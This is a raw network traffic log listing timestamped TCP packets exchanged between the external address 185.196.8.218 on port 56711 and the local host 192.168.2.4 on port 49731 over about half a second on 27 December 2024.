Dec 27, 2024 09:09:11.600790977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.600907087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.600965023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.601665974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.601721048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.601793051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.602507114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.602704048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.602775097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.603355885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.603466988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.603521109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.604238987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.604336023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.604392052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.605132103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.605305910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.605348110 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.605992079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.606178045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.606218100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.606848001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.607007027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.607091904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.607805967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.607894897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.607956886 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.608563900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.608643055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.608781099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.609469891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.609611988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.609683990 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.610272884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.610397100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.610460997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.611166954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.611294031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.611337900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.611984015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.612119913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.612180948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.612880945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.612963915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.613055944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.613765955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.613893986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.613945961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.614614964 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.614820004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.614866972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.615447044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.615560055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.615638018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.616322041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.616400003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.616444111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.617104053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.660131931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.772960901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.773046970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.773298025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.773389101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.773535967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.773649931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.774430037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.774480104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.774480104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.774535894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.775368929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.775440931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.776120901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.776174068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.776174068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.776243925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.776988983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.777087927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.777553082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.777839899 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.777884007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.777940989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.778718948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.778762102 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.778764009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.779582024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.779623032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.779625893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.780452013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.780494928 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.780579090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.781418085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.781486988 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.781542063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.782177925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.782268047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.782334089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.783026934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.783065081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.783343077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.783893108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.783984900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.783984900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.784737110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.784920931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.784977913 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.785640955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.785799980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.785815954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.786503077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.786581993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.786586046 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.787352085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.787394047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.787415981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.788220882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.788275003 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.788360119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.789053917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.789103031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.789165020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.789915085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.789963007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.790039062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.790779114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.790875912 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.790993929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.791646957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.791690111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.791754007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.792530060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.792608976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.792625904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.793426037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.793468952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.793498039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.794262886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.794363976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.794452906 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.795118093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.795247078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.795249939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.795953035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.796092033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.796161890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.796996117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.797053099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.797094107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.798094988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.798218966 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.798257113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.799134016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.799196959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.799242973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.799904108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.799947977 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.799994946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.800755978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.800853968 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.800858974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.801631927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.801676989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.801739931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.802375078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.802424908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.802467108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.802993059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.803030968 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.803040981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.803778887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.803875923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.803949118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.804624081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.804704905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.804821014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.805474997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.805551052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.805555105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.806323051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.806365013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.806454897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.807178020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.807264090 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.807303905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.808054924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.808126926 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.808161020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.808898926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.808969021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.808991909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.809735060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.809814930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.809865952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.810621977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.810682058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.810726881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.811487913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.811572075 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.811589003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.812369108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.812411070 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.812453032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.813261032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.813309908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.813339949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.814063072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.814167023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.814187050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.814964056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.815030098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.815067053 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.815795898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.815902948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.815932035 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.816677094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.816749096 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.816767931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.817631960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.817675114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.817693949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.871777058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.974493980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.974556923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.974616051 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.974893093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.975063086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.975136042 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.975749016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.975847960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.975897074 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.976542950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.976661921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.976722002 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.977427959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.977525949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.977574110 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.978291035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.978396893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.978447914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.979149103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.979255915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.979307890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.979988098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.980099916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.980149031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.980868101 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.980988979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.981045961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.981709957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.981868029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.981939077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.982587099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.982688904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.982747078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.983501911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.983592033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.983630896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.984324932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.984416008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.984461069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.985183954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.985301971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.985366106 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.986135006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.986155033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.986951113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.987148046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.987405062 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.987792969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.987947941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.988646030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.988712072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.988718987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.988769054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.989530087 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.989631891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.989681959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.990350008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.990400076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.990478039 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.991269112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.991381884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.992152929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.992258072 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.992445946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.992945910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.992997885 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.993021011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.993499041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.993792057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.993916988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.994676113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.994726896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.994805098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.995534897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.995634079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.995656967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.995712996 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.996462107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.996556044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.997303963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.997359991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.997378111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.997572899 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.998151064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.998229980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.998980999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.999049902 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.999080896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.999150991 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:11.999865055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:11.999943018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.000015974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.000737906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.000864983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.001607895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.001673937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.001714945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.001714945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.002451897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.002547026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.002911091 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.003331900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.003441095 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.004160881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.004271030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.004309893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.004309893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.005039930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.005160093 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.005922079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.005975008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.006033897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.006073952 CET	49731	56711	192.168.2.4	185.196.8.218
